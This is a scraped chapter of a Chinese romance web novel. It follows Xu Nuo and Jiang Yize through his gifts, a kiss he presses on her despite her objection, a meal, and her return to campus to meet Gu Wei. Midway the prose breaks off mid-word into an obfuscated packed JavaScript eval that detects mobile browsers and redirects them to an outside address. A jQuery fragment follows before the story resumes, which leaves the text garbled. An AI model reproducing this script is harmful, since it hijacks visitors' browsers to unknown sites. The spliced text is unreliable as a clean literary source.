48. 第 48 章

作品:《难驯[破镜重圆]

    胡竹茹的离开突然,许诺说不清自己是松了一口气,还是遗憾。


    江奕泽从床底爬出来,脸色极其难看。


    额前的乌黑碎发凌乱,发间的缝隙递出来目光暗沉,身上的衣服蒙着一层灰,多少有点狼狈。


    许诺辛灾落祸地瞧他一眼,然后拉过被子,泰然自若地翻身,留了个后背给他。


    江奕泽深呼吸,敛去萦绕在胸口的那点不爽。


    他的药效基本过了,但是被提前打断交合之欢,惹得他十分不快。


    江奕泽再度深深看了一眼床上的隆起。


    她如何能抽身这么快呢?


    他脑子都没有清醒过来,她已经动手推他了。


    江奕泽的思绪随着浴室里的水声而源源不断。


    花洒喷洒出来的水流从顶端浇灌而下,水滴滑过他锋利立体的眉骨和高挺的鼻梁,顺着颈脖而下,隐入沟壑分明的八块腹肌。


    江奕泽是什么时候出来的,许诺不知道,她已经睡过去了,她记得他在里头洗了很久,她没有耐心去等他。


    第二天。


    许诺跟着江奕泽回了他的私人公寓。


    这里她已经很熟悉,她兼职期间就一直住在这。


    换好鞋子,许诺自顾自地到沙发坐下。


    江奕泽提了个行李箱出来,脚步轻缓地走到她跟前,半蹲下身稳稳扣开箱扣,动作慢且轻,生怕碰坏里头物件。


    箱体一敞,满满一箱铺得规整,全是他为她带回来的礼物。


    许诺原本坐姿随意,手搭着沙发靠背,但看见箱子里的东西还是忍不住撩起了眼皮。


    丝绒衬里躺着她提过的限量款钢笔,还有两瓶小众木质香,除此之外还有几盒进口巧克力,都拆了塑封,是浓甜款,牛奶巧、白巧裹坚果碎,还有焦糖流心的。


    下层叠着衣服,最里侧则藏着两本泛黄绝版画册,扉页还夹着当地书局签章。


    他打开角落里的小丝绒盒,里头是一条惹眼夺目的项链,细链配鸽血红小宝石,闪耀着红光。


    还有几个盒子,里头盛放的是配套的耳饰、手链。


    剩下的半箱子,许诺没细看,大致扫了一眼,一些挂件、饰品、玩偶、小玩意。


    不说全是她喜欢的,但是确实是她会感兴趣的,而且是限量的。


    许诺抬了抬下巴,江奕泽心领神会地捡出手链给她戴上,声音放软,带几分不易察觉的低哑讨好,“钢笔你应该可以用到,画册是书局正版的,巧克力全挑的甜口。腕表和项链是定制款,这款宝石成色好还不张扬,你平时可以戴,方便不惹眼。”


    顿了顿,又补了句:“当然,这里的东西你喜欢的就留下,解解闷,不喜欢的随你处置。”


    许诺安静地看着他给自己腕骨上扣上来的手链,手链的宝石在阳光的折射下流光溢彩。


    “喜欢吗?”


    许诺如实回答,“喜欢。”


    当然喜欢,这一看就知道价格不菲。


    她就算不喜欢,还可以挂到网上去卖掉。


    “你倒是会挑。”许诺眉眼绽开点点的笑意。


    江奕泽半蹲的姿势撑得胸口发闷,却因她这反应眼里亮了亮,“那我有奖励吗?”


    “什么奖励?”许诺的目光从手链上移开,看着蹲在自己跟前的男人。


    “我这一个多月来谨记你提的条件,我没有主动打扰过你。”


    他难得老实了一回,就是有时候想会她,想主动“骚扰”她,但深知不能在这件事上惹她不快。


    总的来说,江奕泽这段时间来,表现得非常明事理。


    许诺看穿他的想法,不过并不买账,嗤笑一声,“那是因为本来就是你理亏在前,你难道还有脸面不遵守?”


    “可是小诺,我真的很想你。”


    想是思念的意思。


    “亲我一下好不好?”


    许诺鄙夷地看着他,“你没事吧,我们昨天才亲过。”


    “昨天是昨天的事,今天的没有亲。”江奕泽站了起来,压迫感紧随其后。


    他俯身,眼睛与她平视,“既然小诺不愿意,我亲你好了。”


    说完,一个温柔的吻落在许诺的眼皮上。


    许诺怔住,她发现自己被他绕进去了。


    她什么时候答应给他每日一亲的。


    “你……”


    没出口的话被他吞了下去。


    许诺真是很讨厌这种近乎窒息的吻。


    “江奕泽!”她眼神自带杀气,胸脯起伏跌宕。


    “嗯,我在。”


    男人笑得玩味又得意,拍着她的背帮她恢复呼吸频率。


    “等会想吃什么?”


    “我做的还是外卖?”


    没等她回到,他又否决了后一个选择,“还是我亲自做吧。”


    她这一个多月来,几乎每天吃的都是外卖。


    许诺那句“你怎么知道”及时卡回喉咙,那句话好似有点不打自招的意味。


    不对啊,她为什么要怕江奕泽知道。


    许诺眼睛微眯,审视起起身穿围裙的人。


    “我、要、吃、外、卖。”


    语气笃定又嚣张,像是这样就能找回自己先前的场子。


    厨房里的身影好似没听见,只是问她:“糖醋排骨和鱼香肉丝怎么样?”


    许诺毫不犹豫地改变想法,咽下到嘴边重申要吃外卖的言论。


    “好吧,就吃这两道。”


    江奕泽做的饭的确比外卖健康。


    吃完饭后,江奕泽又去书房忙碌了起来。


    许诺如今对他的工作已经没了兴趣。


    她自己回卧室躺着玩手机。


    室友在群里问她们什么时候回学校。


    许诺想了想,报了“明天”过去。


    正式开学就在两天后,其实再迟也迟不到哪里去。


    除非是前两天没课的,还可以在外潇洒多几天。


    晚上,许诺开始收拾行李,江奕泽在一旁骚扰她。


    她才刚转身,他就趁机把他在国外带回来的玩偶塞进了她的行李箱。


    许诺回过身就看见了那个格外显眼的玩偶。


    “……”


    她真的语塞,“你把这个丑东西塞进我行李箱干嘛?”


    “占地方。”她拽出来扔进他的怀里。


    “什么丑东西?这是我挑了好久的。”


    他试图塞回行李箱,“把这个带去学校,看见它,你就会想到我了。”


    “晦气。”许诺想都没想就反驳。


    江奕泽墨色的瞳仁锁定她,好半晌才咬牙切齿道:“就知道你没良心。”


    “哦,你不是早知道吗?”


    “不知道也没关系,现在可以知道了。”


    她眼睛都没看他,手上收衣服的动作利落。


    江奕泽冷呵两声,嘴角拉开癫狂的笑容,“知道啊,但我就喜欢你没良心的样子。”


    他轻轻咳嗽了一下,临近秋天,季节变幻的过渡期,他的身体最容易出毛病。


    许诺抬头看了他一眼,江奕泽放下手,有些许不自在,为自己正名,“我没感冒,不会传染给你。”


    许诺没什么反应,“那就好。”


    许


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17186962|190933||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    诺是第二天下午回的学校。


    临走前,江奕泽送她下楼。


    “离某些人远一点。”


    许诺没搭茬,江奕泽拽住行李箱的拉杆,“听到没有?”


    许诺夺回行李箱的控制权,“听到了。”


    虽然还是很敷衍,但江奕泽很是欣慰,要知道,以往她都是懒得理自己的。


    “过马路记得看车,要瞻前顾后。”


    许诺的背影潇洒,没有理会他的叮嘱,反而是头也没回地朝他挥了一下手,“江叔叔,注意身体!”


    季节变幻,江奕泽接下来是真的得依赖轮椅。


    听到江叔叔三个字,江奕泽真是又气又无奈。


    这个称呼是依托胡竹茹衍生出来的。


    他现在希望许诺可以正视他们之间的关系。


    胡竹茹那边,他要收手了。


    -


    许诺回到学校见的第一个人就是顾渭。


    诚然是听到了,但不是答应江奕泽。


    午后的阳光褪去了盛夏的酷热,带着沁人心脾的暖。


    南大校道上的枝繁叶茂在秋风里晕染出别样的清宁。梧桐叶褪去盛夏的浓绿,边缘镶上浅黄的碎边,风一吹便簌簌落下,铺成满地金黄的绒毯。


    顾渭捧着两盒包装精致的巧克力坐在树下的石椅上等她。


    许诺轻缓地走过去,抬手随意拍了拍顾渭的肩膀,语气散漫带点懒:“你来得挺早啊。”


    顾渭闻声抬眼,瞬间漾开一脸暖阳似的笑,眼尾弯出浅弧,明朗又干净:“等你呢。”


    他一早就看见她了,没玩手机,就挺直脊背坐着,目光追着她从宿舍楼过来的身影。


    许诺在他旁边坐下,他把手里的巧克力递出,包装上面印着一长串的英文。


    “我在国外免税商店挑的,尝尝?”


    许诺瞥了一眼,半开玩笑道:“我不吃苦的。”


    顾渭一愣,随即爽朗笑开:“甜的!特意选的奶油夹心,早记着你不爱苦的。”


    说着麻利拆一颗递过来,阳光落他发顶,暖得晃眼。


    他又补了句:“在雪山脚下逛甜品店,记得你爱甜,特意多带了两盒。”


    许诺接过咬了一口,奶油绵密地在舌尖化开,甜度刚好。


    她眉梢意外地微挑,没多说,只随意地嚼着,指尖捻着糖纸把玩。


    顾渭看着她吃,笑得更舒展,轻声说:“就怕甜度不合你意,还好没踩雷。”


    “嗯,挺好吃的,谢了。”


    “你喜欢就好。”


    许诺想起他在国外旅游,好奇地问:“瑞士怎么样?”


    嗯,她更想问,在国外的感觉如何。


    她跟江奕泽去小乡村没多久,顾渭就跟她说,他要去国外玩了。


    他当时还很可惜,说如果她不工作,他们就可以一起结伴去了。


    这许诺没什么好说的,就算她不需要“上班”,她应该也不会花钱去国外玩。


    顾渭往她的方向挪了挪,手肘撑着膝盖笑,眉眼亮得像晒足了阳光,“超舒服!雪山白得晃眼,站在山顶风一吹,浑身都清爽。”


    他掰着手指细数,语气轻快:“沿途小镇全是尖顶小房子,家家户户窗台都摆着花,逛甜品店时老板还送了手工糖,可惜不好带,就只囤了这巧克力给你。”


    风吹着梧桐叶落在两人脚边,顾渭随手捡起来转着玩,又补了句:“湖里的水清得能看见鱼,下次要是去,带你去坐缆车,山顶的热巧克力比这个还甜。”


    许诺嚼完最后一口,把糖纸折成小方块,漫不经心应:“听着还行。”